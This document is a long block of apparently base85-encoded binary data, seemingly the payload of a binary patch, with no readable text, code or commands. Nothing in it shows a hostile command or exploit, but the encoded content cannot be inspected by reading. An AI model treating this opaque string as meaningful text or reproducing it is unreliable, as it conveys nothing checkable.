z3BHa58K?O-eB9*sVa>`cPI*L`fHTNi0CAuImLDJv1TcXVQ5>%i%Wy17vSyf2 zlPPTbIEF`C4GzI8263QS^4rmZ8DLtl#BH06f_AiE0o4{vC#LjK(2gm+fa;WMopm|hBh)sYGy-Ki$}rTSh+Du9?&k?!G4 z?H{DN?Xb7iJ?OhBx9-~)|Vd3aSuiz9%gpv;^ z3I?}7*iA{^PbCgeGUx}00|7&RfH+jQd^!3J9BGe?UoFjqFb$}0#D=v}!Paog?P&B+ z>q&v8C{|w0qy2oKK%c{W>qY(Ue4&Ld;xn+I*YoIkh;_K#W>&_hVC~n8;2fHSM~4|) z&7d3+$2&r%UZ}(}n8ZcA?d^<;A}RVv#1TRACPl(vB8hn0Z)OzqF3~Ko@?QcBK6q}G zpAljNV;L$HCJqEJUIN5{0D+{Khyy(5n(n3e@-Hk-mVLJ3<4$Oz^G<~Yt$o@m{Nyy2 zIJt?KUvEn!g18yMuXj!mQEm&`fE6U83=mQ-Uj|f6fP4vx2eoycZ^foSBj-ql&Xk!e z)y8$EmqrZ|PxEQ2p%F#%8KR+K=AfJ_&*E+r$#Ill<|q!3AQ24kA#hiULWlzpOZ@5lP4aiKatk<>673V5Q15nOq-6YC4uw+9wBbN?GTLTJJEX zQZv3dyDgcmz>L2Zkg&`W3RSln*sEvS^^`R}s2PchB$ARKX$&xGQNkznJ3a{0 z32jPOfG=1Fi`v!~XP_9c#imq4?zAcKOPi9>@tCJ0Id99js_g06Q=UiPD*2|BBHD6b z$q{r04J|pRTArYc;|$hDg;ac(VniBP_^DF0%j9G0PYmrcw7qND7jKtQI;CVvRdCKs zG+LbT>B9+S0FDLsYyj_bESP;(JVtwo*o9jycKzm@qj38$r*%KV_Qp^Hx(*=Z>=J*l z4zM3vEcbTzt_^g{l#x1HGK*MagKUj8mVTAJG4DvqVtP#MmUe7A^1;m==+8WegZCx0 zsX946b2z-i-j>7RKVBo-N5GS=w3pz+R=gZvckf2Ogk|q&1Z1sbxp^oY*D+$2SQMAZ z??S_~*27>=`x`u3Y0azwR2>I5e~Ym2;HEWm7{kj>EB_^K6{IhEFq8x{c35JC{NUIq zyKAYVXW{!++O!3^&!URuNIt>Y`dN~IEpKIU*pj1Kid{5hcb0j}jyO7O$x@=Rc%HP9 zv&@{E;pF>UEl?vqehKW8rWDvq%cM=N5+fAb5QKaL^BV+X9MX%DXjghSXy=~>;h_I1 z*x6-~tyQG4X82ofZ$y3WF`nHOq2Kon3*Dhl$g>+~91xAN!A~eB<~vYnh@k847C|p* z-z=2-v>!0TPP*-m%;L({gTkBW;74D);j8WBr^<~b?-ZpWH#o0xiSohOt@8M!4zF-R zbvf*?AO^rm)nZpc#2bNw0%;;d?zxqqvXzPhLouYjv{Jpou9tKLRTrdm!8Y8BVZ}}X ze+_->1ALS)?ktMrOLaApn`~U@$nDOG*!MTV4t~BFYrNyxMWDmCA#1pAV3Up;neQ$K z5O&jvx19Md&J@PV*$sO^N;${Nllkz4BiR+=yQNiY=1KKzx}_tY)YjJp5aNAihd0C} zZAUcbQ^P=EbBI8^YXSuHcEV~k#VffQZVJZU9qb`efLkv=;Z#f@Q&?Nd%sobKF;g^% zScwRXbql>Af%oq5FN6Q&&l3D!4Yz++!kw5d;^G~Q={l~R0A?=iq>9h@;I4#@+OfRH zvC{aw_=XhnDCai(8d+=kQvE99E753Sz7ZtUmUveMtfV)<6ja5=M^G;4f$b}BwMj<$ zp^&A>QjiRGq^qI7qcoZPGk#ZCtc5A%hxrSozTZkaUACkLpnS}jd22d>V{1x?(UWW zeJgIu1jzwm-{&!Op;@zDx;7=}_i+hRVHi`fa81j5+sWMX*nAH@>7@5oe7sxnQ+Jci zPvV=Iv)9bUyk(e2wN^m=kzLKs@bK`cg=yQv2)+Sy`Fi!CnBF}WJvZr1q1EHEC*(Il z%as^$yp1T7_g{}iUU*m2@=imEmCgqC4GF=wUXG3heaa_*Rzo1Ol)#N|LWtA+Fs9>d z{LK%+vGEmADCq{4A?gE&3eqxEwXeoyK_HuGBaSCL&v33=2ceSDLpT#`WY5nIDVpq3rI~=G2A*>w9!Qksg!-P{{4T(o78+r;wo1C&Tq>z8 z^b?TT<}pFFxoEzb)Sjfa*!!!vt1D0&A%foNq>%TfV0HG1a97hSy6!4@5<~T_5;}1W zBLlj1y>JSA9)Zf9z}mCNp&qNp+w}}~#GQaWL*nQ3S0m6v2)qG=!Xn|)pKwlfA$i2T zYYgVx)4nbtng|VO40GgHW|`H6Tr(tftn+DHe0K2jX{DmM6@}%o1AaN5Hb&8qGR~*P zI;wpn)gH}v@pDpOrz9$QH7o88^!6swo!@@0pJ{(6qn)xs@+9m#l%!g?Y=$#K|qXMQvYNW7d zN*v^Dro{BCJdSx!r*Nm2`F+9J$cum0%x2J7Ujma69p3$He^Bro%=8$5zVQhJ@F3Zb zhXb=5ynA5Ho=*1+e=++b#2zHz*Nhn_DSBRE{DiZy^Ya9BNYiy}L2GUTa%q@?UvVIR z!FB89mGya$B6xQzz8gAGEn(;MlY|mjtiUJ~?r+pP?1R7I{;}-bZ<8b$TVs{CLlco5gXyTAXA-NmRB;!%_ z<`$H{lrE%kV;e3pZz6pGWrhw4EfmGRANR;_r8-dH4EcR-^J+jaDs=f~onGZ}yCO@BDQ7#4iRZyRQ zKBIe?h*_&J5r@o`Ls6dmAj;aUhPCBV+HJPLm=YQd-fU^pnJuL7s5_4jQsB~ajJTHU zoSVxRGyBT3m5al;LJhoEgz}JuFq^ zYd~^Un{SkZDUX-78Lg0)kC3<6{`tQ?fUDei3tL8bf~)UP-_ivMWvUqEQuQq<(T>oD zs!%s&>O#ecViUp9l^T#TuldRx*n8chC;`v(;N5#id5{!Q!%9RllrRXGmi5ZmF>j8I zu&nIQxPFLBO>ytt7WQ{K{;7cU?i9bmh~#!7BIw=693fK!%DbiS6h*W4Saf=m5-F-_ zHW>j#_eWJuH&tEZmh`Kk-ZfasQ6M5GkbD8euO+|D zH)7$F{dA@JBHL;bJbB=pU|bHz0ylW9h7PF6Ydi1@vb06KA(Bi*j+i z;F!cevsb>6X?+xRskdB#Ts0i1>0zjKS1_#Uif>tRfg0da4S13ih`(i?t|cG$$e85c zZ;E3+tv?3X(LzX=HNzBjY$fBDgDEU{f@HT=8Saej#V-SJ`#-s0togtQEqKra2_EU` ze3a{kx<_O`3#m!fgA%bzloc_%KB{L&aqG7D6;-sUOk9c9dY`MH$;<^6Vx* zP%#Ww_EQAOk9E1($F%^?Qu_K5DV((pR}Vm=ln3&EU>YSmUkAd~z|euXnSeSFg&-;k z)PWRXSna9vv5xwd_1ky$<;Jyx&T$B!^=%@pABBl;R zw4FK-L#PAs+p7af!(OBg1T&ql11*MdLoRe6Asgd2*-ssae(FFH9_m2q^*4D-0jL8> zfuIBNdnkM#T3f&PVqw&*}4o;uKT5F-6f zhYkd5pXxx&mpX|Onbtyf=s=6-A$6enc-Wbr&#ow!0v$*}ef|YHP!AKMI*@RvO9vtz zwPSYZK>rHH7#-*aI#ma{25bv;pc%5$=s-92=s-Qy0Uf9h+xzK2XF(5zk(D|SIfdC7 zsa&8A#1znh(qHk9uGp`QUdm7?9)iq4|kzT%kCpw*p%coNV1;@ z9_hNXOy{@J-7vg$m}X z3YIFQpn|208k%TQ)Nw%=ZfpufylQl?_r|V0bRf{dZUnDY2YVbic%?>GZ$kHWVIpz2O#X>76t_g7}yEM zF<|4@kdq_a3m_RDs&pIP3y5-N!)|<9v(SW915{|&r%tP;Bd{-ZNTAed^#uvKr~??O zs4v%w4Zu1{b2_w579Q&kTVc$g!g({=78K5Gu%dmRS;p>EdT{x_T(Cb&UfQsi@XIFw z^r?a~eQi~?^9YchF<%3A(C*F$3vRt!?vJ_ka=ACea$jbZdA=6K3ZXzCC#?@CdUX81CTHdP|(5;Z(VpLG?6^M;{uOy^BdjZ%3rTuC6RL_n= zn7A;|BoIj48%-=e3@on1Q$=tT3c&)s$0|?7ttDN@kNez%sDPsf20R{JpHN;_$~W7% zpKyr=jcU-jO4E|{7?w!IDD00oKgM}H&-ufmfH4dgeG(0)?}VXkSk9PbMQ3Tg24$4n zq0hBEbz?nuv!-z*s9>h)1x~4K3JLPHNUM128i-qbTn4m2D{(Jjcp*%|A z6vk7Qu?Dq|U#Jiv!HlGjk^E-e26p8^1#pwPgI4A+yrod-@yF4BmZ-J+BZ`sxCCb!* zk{r+(k3AQ3zDw?jza#9crQ#Y-)56zro;rOm_EDwTE(^kkxB+<;o#o68QnN=mu zj_Y8t&b=YQZzXGPHM=h7Evd~pwjINIr|geWIvY7#=5fv6W07qQ`tjPRtuc^%)kna;n(PW4rw-nxSbGCx*}}9&*hvZ62#Q=YvlN-B+V8 z(XH2<50Xb(t&+OF31NycqyY256^?{rKFCO86Tg-;`jbLUH1$n0wyA9#R#Ws_u#Gbt zofi^L=Y^8OpBLtU3hToQx;4Tv=r}LzM9g_1(RR)Y8NzuXzrFLq#oESsjvYo%?T_v2 z7DKop7xO|P8}mZ$fakoBe$EReJe(J*H<%YnK`_ygFXn~(%Dhki12c9=-bC(5eA=D zDm|PVDxqmDXvf@e@qFama6UdVpD;h4WtbZ(0T|PQxuJskG5(m=?qOtfZYT`uni~>N zpSj^p;ES0X-b|;?4gcFL$f$k%x#Xsq8{XVAH|(hm%nkc+z2DrBo9AGB=iHE-GTqAp z=Y~vyx#259`#5<5`*<#iW$9OQVnWga1Nk|DfxOmZAPD$Lc!1?Xtig!xv#-+%e0DqY(dWO!**&J7+mQ-`Dd~f`Uy+(I)gB+8R!nN= ztfBlL!Fk?ty2336GsNsp*K@YB>kr&;5{#K{WqZaQA3x@y>Q3AHC@|Y2xIDhBxbVao z@NPGVY2zhc7%T9Obvc85Ik@GTn3L1>G~T0*yXl%WB6GK7Wjk&vA3x@Me6eE$Q<5=Q zeRorIE)HMl!aR$q+aF?qNVmR;0>cLSHFRT))IB8mMGRn?&XLr(@rXz;*8ttb&pj$I zNciK+LF4sbzcHi>ZoV0#v|~#?v+d}D4>qf9K6{WyT;AA$83pT9cZKaxByeOB8#Qi2 zGuq1vHWwICG^N75P=`KCYVH&z5j8g@sig7cQe7C_uEb6%Sfui6_`{-;a7=n1$`4~5 z`$LvK=m<$vMA;6=Gs?F3Dbw25)vwX7Sh6y;Q_V(3+Oe>97UBwvY4H3NcAs2oWU_>I z%={}U%I-Fy#cY6l|J<-KQt=K#ZWYBjdOo>r>``aLp8UGlFp3cy^X{Zj=Ew6q;}L2PL^!kSlabiA8jVQBCKkl?-lcfecccwcwq`yrTU238L;p)Mv3_&uN?H( z#21~K?VF3gI8~JrtoXhk-pPeIruZS zrFh+rBk?zO#IBxgq0X@w+U6%8ugCL2%(W7fn7xi)yqyRlti0oWkHo-mat(t0{^2Ex zK86CbSa`orepxKbW3lwkgQ3>j$eyq-v+?+hk|Ee|DKz8n=8>F@wiHf1bz7j+Gv0at zQ2xt(w!YWbI-`Q2@O3Hd1BJ~;uz^Mv&Zm)YL2P<_bUQB4(>jj^4{0#79Uq(?&#ISvia?END6<7n@Fov; z!}HIU%px*4qSnDe393yZNMV zuaItST$(Upak3k2NC}%EK!jiI4Gd(0;dzaan?B_w`%6vl(f$cc3bX%$oFNy_!AJK> z@O%#c@aFJP>$gk&Mf3OL!m=A6#XmtWFf}62(YLN2@nhd14R(ge?B;KP_gV@SP00+B z9m3jv?bwCD&AO+RB)K=Rl9;q{EZ|U?T5dPlfm$;pY!Zhr6g3sM>If#Y^g3Zqs|8xq zOgGuJi5*)q|1;AZ?PFjD)vNkvo@X516#gC32VdG`ZjI1<`w%)Pc{|K*ei++VD!3+f zEMSCer-+xQQsBe;5IYa6aC0{qxmAIn9Bv=>St%G`=c(AZvh~LRiZ|Z|L^$>{WT}}) z>)>H|=eYSP(wr_=(-y~GsbJWU`9-b%E4Tzr`38J&Mc|BhXXtAZalfF~TN1CZP10C7 zZ#|?4S_RWpwhFQe)B=N6`Vzho#6Mp*SdTmRj=_ajvolCjTV~@ipt8DqGzK6hQ2R&7 zYIX-))mIxVewW4QUMS>i$9UG1vZN{SYFTR{kf@-`>zf`7hC!YA;n=`{a{xW+@W z4{|{60~37SUm1LO2O=zGMi8+Xo76wyc2AT&5&Ht@!K4}O2={641B%670#|0Yucg7; zttbAxBq7Z?ypqtLQ6%!{-t6&pzR%I6SO&>y-J9=`YLP= zI8|f>M|qgkW@cpNhyI**3N}wzUofXT8g19#d(V;{%OgK}9NpT%vhFJvA+zBMv#CP% zQsv`+0lHeRW%K75m`tR4vvRyMDHWG%z0U{Xsh`#t;Y*1oFH77Ac}PO2{`w(*ln|=I zr9?3?JnWtAUwsPjp|24EwM8F%NLtt<=N8blt9_fI4J5SRacOEr3bT7FpQ)e@$q#qZSit31`rcnbusPxoN z{RxrNKlS4yQ`l_Hi=6bqR@Wt|<~LD4Qd8b%IYV%*l;=R?%%PvXm}X_*)i&hBnh*k5 zH*psS4;^j12;N9$8=oTn;DAwj!!Z<^a1U+9-MAVduI9?hms~dvF>vNxDWjcahjYWF z_(&-+TyjRl)QTO*8$Ju(DiF4Ii(1phAXm!xVU?|s&}<+AsOR6pxX_ZDm7^Iz^guhVDcUi6LYK^F|$V&Ajn3O%d&b5NK~j!X_~ zKvGm3X=%8PU&CZz%GGLqXK$goJ%VKQC2k|@z(bXDI$cW}C#-yC82F0IeY_l~fh<2h z)U`!-7EQw#F~!+!76}iiPXWgdZ%E%5Z)RVt`!HqZ4vW=9Q3Q|tPkr101GDiHOBukR^3uJ3gs=K3DdcCPO+gzJ0!_O9<;4#q9! z?8_Q-IxmoNq3-PK7DKop7wdaMHrDre9~9U3=;!*Lgoo>U>J8TSq##(Vk}uZx_?7iN zaZpHPK4`>C*Y_SDtnU#>7ogTe*Y~9Sd7L?63mF~U$Tzd%=Zj%_ZUV7# zDCFB%^2+Fr#9ScuK`#m zyb%41sFmg%&D4EHy~SEU2#9sU0I+jsqe$uHx=uLCktaW%?i#vYB;3dLkn*fJyN9mh zb#9GY<2_zCT78D`E4W-HKhE$+F|#=Y4ui*k8~z1A@4pRy3*F{z_%mvt8ullYqxBjq7FyzWaV<&B z@olk2Ro`RxJ{xV@{hy8Ioru@^<(Z*OHLlP?@SS8K|8kID$1}?$mVrXF1a4A-87QPm zU`=_-Kyp}~q~gVjWFjxx<2U;Jm}DyU_y<4-@6#0<$)OZA`?@8I(H5GkkVxNHRu|O} zmVs|r@#|=b z5ygXdDbo<8Js2K2lRl#0BxhNef|Hshy_hD&XIUX|BxXrQLC2uvE-UY8 z)6qJ><#ZI!zTD>1cYGb0@&^5^56gWBM)l{r55c1KXTA@?GS5>3J_xyi^BVuZRfEg{ z-)P!)SvUt(kX=okZyeLHf!A}IDmF~zGsDvT@FhPpE(k9fL5IGmNS6^^Mv!3|L6>Q( zj3A#hf-WPmj39S3LWEc6#CB{c=y<33w@7t=}Wt)+t{%Kf~U7#+*ytt0xpUw8rs(Z5}sZ3Y70p z7(d61RICUd^UnY$^0&EKxAnKEa~o?+ga zZCr9i5DTd#wP#pTDK5fUGAW)t^D;Q=Pqo^Q#$)MOdNimBn?||`13)@mn<&OSOl!HJ zmH@6oxJ^u>(#@YC9pW*pryJkI-3GCJyG2?K1ZTcC3f?zW!U8^8Fgf_zvev%kZR#B8!Se)E~c0<$J(LJ z==3Oq9t?tp{1gP>(JNi192*r4{ zGd?jrJ`pA*`#X{{z!~2(J-%uEq?U-cu+)~TtZUiyS7hG59xgRC=SVzgkr#~T-@N2Qxt3bD_fFNk4pE{JeAz%oc_z;`HKzDPYpVz3WP!HPIzjJ z)ox{5hPxrjKw+#OK8o--SFN>vr7sxs?uyHD7J}WeZ9qr%NKeoawSrOPh5~3@-F3%@ zG&4p;Q>B=XJ3fJA(k(R6+SBEACV11f3~uU$$qO0+z=TQLGPc|N3Rq)1`cY|Y-iIKU z`?HEJgk>^|6BjI*hEp~eLb1>giULDe3=PpbW*CVyVN#`AVH9DXCB#Xl#t-pMH#gYW z1YMg*HgN@UI%lUOrAd)$qBhbJVpdANHJ8Q>aY^kJv_z)zhin*QwMg;iT`XYpQ}{J~ z!!-l-*9}O!Y{_GEtu6Oc31AVG0p8|>G{Ir-bV`E^TW8QUWewZ7tIs>jc<2i}c0BaZ z9mWh}Oj0mxg_H3~eZk;V@t#DC=!4wY=OK5yq@TubdiIT^s{Il=_t2?L`Ay=KCj4e` zrjJAezl~1W`@r*#d2T+dA8kgHN&C7gW`6ZiH0uu{v)Q)-cy4?RbOv#aM8jpIVz3#h zupJkJ6Em%(&G5va#4IyM$8+6Mpw1>Y^3E75IrDae&hp2>zPRKJ(@A2iGQi6;k`V5< z(aoP^^Qj=J{y1FLLWg%fej1*)41If}WCEKPk?ywuy0*dusc)!tDQZwn_wVOEournv zY{?go%O;x_5bI_5!Q-;Y8FE#8$(dKeSw9P5bVLRddTYnncspC}Ka}Adk7rs^91ZJI zOsqCl4)1dOV0)>h8Hmi`R`yu_(*Micn}A1FmHGd-@2%9Dq*Fy#&sNA5Eo{q#buNwf}n`| zzC!!^eBX0#)va_Iobmt6^Uw37?!9My&wI{!&-=dTJ@4^~99uU3`tpgUKfm>7^znR- zDSQbPI~ykX&eGqXU4Dlz2xf$ME@p5qoxUJIBgIA$@9iGty*&ew=Kq_4jAD>oYwaekW54XAE<0zene|m~QY%e`eow>VSV4K0N37evqxY zx>)apH118YrwuOIx)UxmkH0?PqymP=z=e_VywMG#X^BWIY#Uc$FD4h3f&XgYAKlsd z^o825^Jjmto~fv^g=9TNN%T|)S$2C-`+aW-`CqH{yOAD6z))nDIvZ^gmMY4p&eT&K zDc(u>-oo>B%4eO{66MrpS$k~o-X0sgx5ozW?Xkgodu;e&OcC5mH$}i4SFtt3w0*(8rr5J?oJhf z904nfu@XoxavOTi&qe2vGwU?$kIsQOJ`ywYSZ6-$t(bCrq42hWvhRoIv?JzzSd;8SAP@!cl_*Xv{ao{TM_ z>mr+gMc+ub0bHura)#>OARm#w$f(R4tcikLJHsL{YJgKiE z&Mi>iSX^JeQO!q(faGAAac}c0h7~~y=&qPL9A3t}#?u{MG?tDf9KdWWb=sP0Wf5n% zZa~4ESu1g@J6DZS|4173xEGAux6~WknA8!NK0T?U)4qA)Y6q{y`kG`QG*;yrd*-^D zI+U}SpNSdJG%#P74@|qwp?Bb4CGfa5U;967b8a_nuI#4GCsKD(N2kqQcwNzMC2dOg zW+qkHed#u-vUZ!6di%y>=wtrY_0aPMPL};}E5l;;y-b^!V$R;?-i?y|Bkyia-atvl#CdXIk)QWvwLSe9Ead9fiCCK|T`rx#KiE^TtWKrquczqDxW(vn&-l=NAwaocw z*b9F1jd9;}maNw4&w_sArRHm5jm20-LwGz*EmsrV%yEguio{!N(ENr42)a06>g&oc zRK)p3_Z`UOztUnA6vrBmv8gpTf(2U^%L#o~s?qrX6Ewe0>Rj|A;;J}}%^hxR z`|SL#8F8|N&OmA3=S{+;YvJY~{1yPVbeB=lH>v+di<{jEKGjZ_;!7|H*TNM3O(^%w@>5iE*I}D@i^-! z`eNmU=_%Tp3k@h!Q?x_WU#6AlPqY#mW70^pr-NxE+R++uif+$_SR1jAt58NRI1*?{ z85yrp1zSjB&)<)XpWe-0$7!98;4*TVj^IgWixlDmn*4gs10C;!_J_2q92K*{cT8k>H*HW?6CKyQl_(oz>Scm0~4;(;Kk`q_zgpOG*4E zDFzsuZk(U7Xys*z57Zv-9N+V6A#G)2f=;F}b<$pS^cUErG)IBtO= z(=N~|8n!@DWEUv=_G#VNS!jyzy13X4E9dnOMvfI84EEPbNaI`R8YE5 zjk@W7a-jm#g=*wY3j#_IoGw&jZ~Engy5+luqOUc8(79gkdLy?_E0OZAal#855v#=4J89{&e8Y|Z0G*vx$% zOfQk>3EX(Ed3zt2(Dg;$GU~X2I_ye`t;@|)py6l7?Ys4NB6~}>eFzjH{B5`A(ry0| zf7ziFDN4-)9N0Jk`c{1GdqIQsb{u_jx!+vU$FUl0LJ(eY2xnb?~16lHwkhy*uI zErkdMg;#0W=th+m7u`CR=C}}(UuEa1wm%h&Rb4aT&OgN%(gmXq+7DA?s@!aJJpsDR z(p9f7*P<^zRV|$r5;ee0(5MnH@8W3om)OF1jgh{MF) zjQ1#Y()Z|e+C$Q@XdC6lqvANDQi@ya&E*p+@E9U$kqcCG1`ZSXYyqS9E$mOFsRpzm zNiL$nrJKEJioszT%b`2^CZ^-B6=7qFr7RnANH5zM#40k|Vuv@|`UNdw!(*U%1qgIX z%^#kq^T0NWu-?-sE{tsMD`cb70A$non6{@?;R&C**&Di0uJ%Mr#=YC`@9>33L4I!n zAFU&$z_29@jzxnsBDmN)eGi!i{qSvk^c5mqrm{oYW3y8YZ^4^a<3$D2t%49B`nf>n zY)HuN7`7!eN^J`xzM{>5X#D3;E{8oQN1{j!wv7G6fu!;CJX4Ifvdo=SMxR2s(Og$R z-q~?kk=XDT+NH$Yd%25!w^Dk`c}j`*2x!sUY0*aA3IF zRtX6)5@m56BA>(=F%Laie69=pSh8csL8b0aCgL`AGu< z^K=i1-owa~TTBj47L&$$9B6H!1XIBD)dvcunsD7Nm07{9F5jCg78;Cf>#caj`FPig z z1bi$-nQY%2(yOh=-|E88cp+JnmwT%YOV(uHbapq#b#?GjLB^=ZOIa==zR1pw&0zNx zBzjv`?^u?!>3s_+r#`RopmB6O?I_CD1X|wFMR7J1vlq8yS;@$!ov$EzAx)7@po9oC z0-bWd=w!XXJ1tdi2j*`56SeG{E|>d%)3s!x7wxW^FI3rxbJe~>BmDKok~GTph$C)Q zgnJJ!ry%hVf%$(?d#RgiZ#!*j?34aVzeneiIoLfcA61jB>{s&yyN1io>K)6sZK=}) z-3dvVF39$_dF#_vVvcZ8ERl z-Ii_4r@p{j{t8D!o0Xke^=Rvzbg?m^;dVZ^8~@pCAN^iD0Na_F9nhm^w#D)r8HNrdNJ;|F%=i`vN zYC$;{geURBCYLI3wFEP&!IFz-dzTWD;W_SU3B}VX5wCx@lW+GW`d3 zldr;2ek!L+6n-$SPrTkXV3(W(H4anMxW7$}B^f2n|9-mpuCNA|d8>x2abb${=;%z! zHZzMDpw`Ux?>aSZ{r4Uu7o4-gImAcR7#EBVj79=A1ZPGpfLABBLi;llLAAc9W*J5Avvx-#XaQ6;=YIte82J={KuQi1$UW8`hx45G zH`b$ zUq8@%Rd>GdZej!b^)DAPtF@8vF2W`TEK3L@m2G`fS4KJ$mCvZ>tlh_{(fs`x?G9X> z;ZG@awf2a^JFR$I>vYdNdL7Qd|A}}F!jpx>>dv9r<7i3H{14i?;|W11-@ws62y3_M zvzT?Lyk4lxG1P^8ZEOsCVoY-eNv&Et5UOy9NKwp_wB|I&nA@Kh+k@bugS; z8E&A$Qm(dMgtgBfEm%M=%tO)7(j`Zb)vxiQGE|lVD=P1RWr%{h9Od$cn*Iny;HY3{IQ;OI$g(Wmu(qI z+BkO8s@m9|=yFqSRUgRj$Qquv?b@ysh6Y_O8u@h^nGH_{R?W*EZ*rl$T;tuw?uv!7 z!U24hf&f5c_AJWyN9wP2^>lmG9z>T-90(R45`rBFJD!%v?$IEyY}F@LQ07QtRvEfi zL4_o;$SQB&XSnrC`{vqXeee9X>lF6EWT{v~8xsz%OT(W40OO1CzLDWqYaL3}vr3rW zU~*Z7Th~A19{RN+pS1N!>N{kY`f3Z;r-a@0DP-aLdb}S}@B0>N-zG9`{2Z~Z5n2&r ze#ELQX+|GN3$cHD4Jq__kelFBYrV`>H$nu4GPxZ$CB&fl9ntykYsyPyf>mnvqH=~~ zv6w6#OvZ9%C|l(ck7;=-xW%&P$10w82N&+;XVy|?xquBOM|koxYxr`QjaC3y8BuRY zT9z!#(j8sBdbygwCA`OAr@Y#q(bv}XjDvXJaKgL(^A7KbR&DAkJgFZJ;rUPCMcmtW z+x8hXZa(%M#mf1ukK1_5G4j668{*ADXpOqnQgI*Gz5M!4AIl!%{c+j905eXvxhsrsN;L^M$8%DdjR;HJh(66AE0i+Q!98r zo;~A!Ww<3Sq(qI8<@%>I(HLkxp`J940mwbl&UM&4-;}4SI}R z+E>h5w={ZlDJB6sw~3Y7nBpws#CQU@@eld%VKQb5El!@W5V=lmtPNktC*yk!PEf>b zga^Qk1>qy4E#%=dgXlqCIcN~QmUGVaXD*oD54Xgn)KLB{;=TFod%J4iZHX*=hlfpW zw~mhHC;Squj{40vI&?d2w@7xH6z@L0+t0SMum_N&$XNBq_GHel=hO~& z!;y|_WbT;E`(rg1dRJDVA-ietB^@Xnej1eVA>hx{PV#%gAJ9qohgjZo{Mb)nUBXBC zUf-Xoo+P)!J>mB)nz{otaV}p_J=yV{H2q;MvAvwgWw=__lXVU-@n0Rneh z%Ul~+wR5Q^AmbRKXiII&X5&)x)h*d70TKJW^}&F*e0bvp41n#6v}_sI zJCv;q<-*&jq4_E%bgM8%lr;7bq^w3>Ly~fqH7Q0xpQgigG+R)YnYynqi)_R!f_9xYi+Z&aws33^#bZwc(oH-&R3%?gs(2= zufCwAZYWh;7gap%~ zE)WO%b`JjoEB#>K&WOy zH&%!G2N&-geyfTd*g1SX&+1S)d^s)jqYL;Q8r<=^gu5_Nqda)^1)GP4Mh`6yS@W&S zhbrX?=YlKUZLgGvT+8Pbv1MquTqzHi2dgT~a8Z45sA~OPt_)VAIi})ZZRfCR9;}V_ z&hBKu4c4l&f3&A^m8<392RFAk7m{t=#ORsz)Z7Xfu0@B6)9D!umXv#Ot)nDB_6TLZ z$VSaz-(Yr-W(R`Lg`Q7|I_^2CJ;}B{}n&C^5hafr{s*oml2NG<>A+_ zEB)vq%qNHo=Y?NLT8_hc`w_ke@A~7@=;0(`&*q=C#r|~GL>3n#T5JAfIldB@Oj^Ny zOh;C_)p^yT4UfPrfri0t?!$>=FOFlR;BowxiTS6yV0f(G6OqmxE}TJ!5NwrIK~6p6 zz;Zg8z(i4#N|6K`r8w~)NQ|>@N9&*AU3H(61LyO*;xE)k`uo%IV!GT+s!@X+&eU#b zb;~*(1u-=Sf}FH{uyw7U>3O^#{*EVC%@3f?Fl*&@(DCgc;7Ih=AA`Q5w|*ejTjx!0 zO}zT@J3Q^|BJ#U*EF1q@4VaOljlH7w0mdZueTsGFgQ`7#Rjqz>Hb6NGMs%ST>omR= zVTWG)8PnytUpw|<)^jLAl{|c0t%~3Opu$dvact~IkSZ8m75=`HV04e>heg((a6y(} z&*t&>B|*|ls68gl#OExdY`@54e4c^>wO*b;^SKPJ0lPqUAKa}uuRMknDQtr zFeFN{U9^GpR=R5;F)dWY=1`mS746qdFQc0L4oPNiLwqg8+-ibaj}z1|B1(y7EQ&o& zZp$LKJ-7J~ZR^w3@dILpr9kgOXY;S`Uvx3CM-zMH{*v5ZISC5iD@)S-K$5Ojj}GLe z;B^0giwqPHq}|y1mQGciy*#5?e&Elmi|ZVBt;?B84*Ge+%(iuFy^KRovTK#w^Z-8e z<~TDVhVB0G!)(tN`w9B(5|DQV|2f|Ew`^_EdkIA96T9g*>%CZJS{6&()?Yi`*4+X6 z?9I>Y2Q*G3R$sYZcal1Sg7vd{9nl-!>`(1>#PR7*0&_XLV6Ugd^Nv6ctI?6x57l%- z_&7U!DMt%gcGUF+`;E2}(l{n)euS=yV|F(vin|>Y*88;~G^^63|9Qnse^kJ>fgc?> z^xaPl{c&@DZnXye_y6o-23fs#8JCG(q-WCx4a`0_Fmcan!_!N~=Th2v0%P$4{w3e& zPvi5aJpXMsSpDRN)Ix)#G&<0mOA&>>oRNfyBZFr2E%`)!5@Jwz@@}6y)s>ak zaqGi_=CA+U^4jy((b$Uj)$h6KDjIt)xcTI6aFL#?U6gjmhq~vgK6|TMjGA6Tfd~lx z-A7?ePck#+byo#`{wW=f_I&fJ+@C^ z6xk+Uxfk6V4o$bjrCl`j(P`1S`17jARWn|bUCr04bmR;NR`>_2xv##dU30$N_a;a9 zKMCP)UiIL-RbrRw`=}mQcb)1#G%f$ZUDX$o>Tgi>g?ZKYr>ZZM`{U~GQ1uT#W%d13 z-(T)eSN|G1qO1C1SM|kt)i17}&~AOPy!cIxzM4b8KLJ6#RPB5;4}9pUu(23$7MB-y zze}j44sG>)9-(Jf(UFbFD^w%rv0u&8=`sJB z`rzxOubNSIS5wXOam8$P%^^-hWcs`Mx^{3W73?yau1-06Q#vK|nyS+Dez>>cRTi~+ zR-ER~&O%5A`giDpJN+;p3TYA7rnHFly%J^N6o(F#+NlZA&~#Ldx#~{c07at~sB~_5 zZ#bso;RDTAJ}uTK=EDszn$_YQ%(ZA2z2LoIi?{r8UTzB-=)F}_1GTEbXX;plA1Ni{ zAW47hcGjYRFc@_+TEG-G2wwrmC2{8}#-7trW8ZNt#leh9=X5x={qO7!bV{DHxx#^M z>?gc!Klczh-WGtZCh6$Tq@Fv#v*}-@3(-D*&{_k$MZ9S7C_%rq8<5+98wJOrR>S=X zV0SXwi|1B__Z2GPv-!ZIZXxQ|3;HwKc_Zx|*^a_68gWPye_AT2jwpxp`Z_#i(#h=j=pOJpJj6@MwEXra|p%Gh$MctS2N^qs(z*Wi~ z$I=85dwj+5k1d!Y2*;EQ^BffyL~NH8SJ&{ymsG$$QSr%3XSb)Q_V1|{APa|j?w=IM zeoS%vHS8wF(AkAZ&cTwaG83`wp#tnvrVrI{9~Gf_*yA0Bj^nd#ESRBksd?M!i8WWS zV=9>u(Oa-Pm>6!pkKt!qI4+qRh~X;AGgM7vZO6|p5U&mu>Sy>Chg2ju%`#d##lVcB zC#K8A&YW|0(pecV)kleFZ^FhAGRx%r&}XCuE@M^B_8$Jo+ci(UvFe<%W0R$BT%WD= z`hE3Mwz@8twRzsh#TOQnBL<7{-ki+$ENUoI8S2Szd=29&RiumRsd8uLd49PRiWZ1v zam|2vh?{X(xo>_miUpF1sMPl+a$ZwP7_Y~%Nqb7P2i7cA`P5Za(->EV@-$(j5MU*K 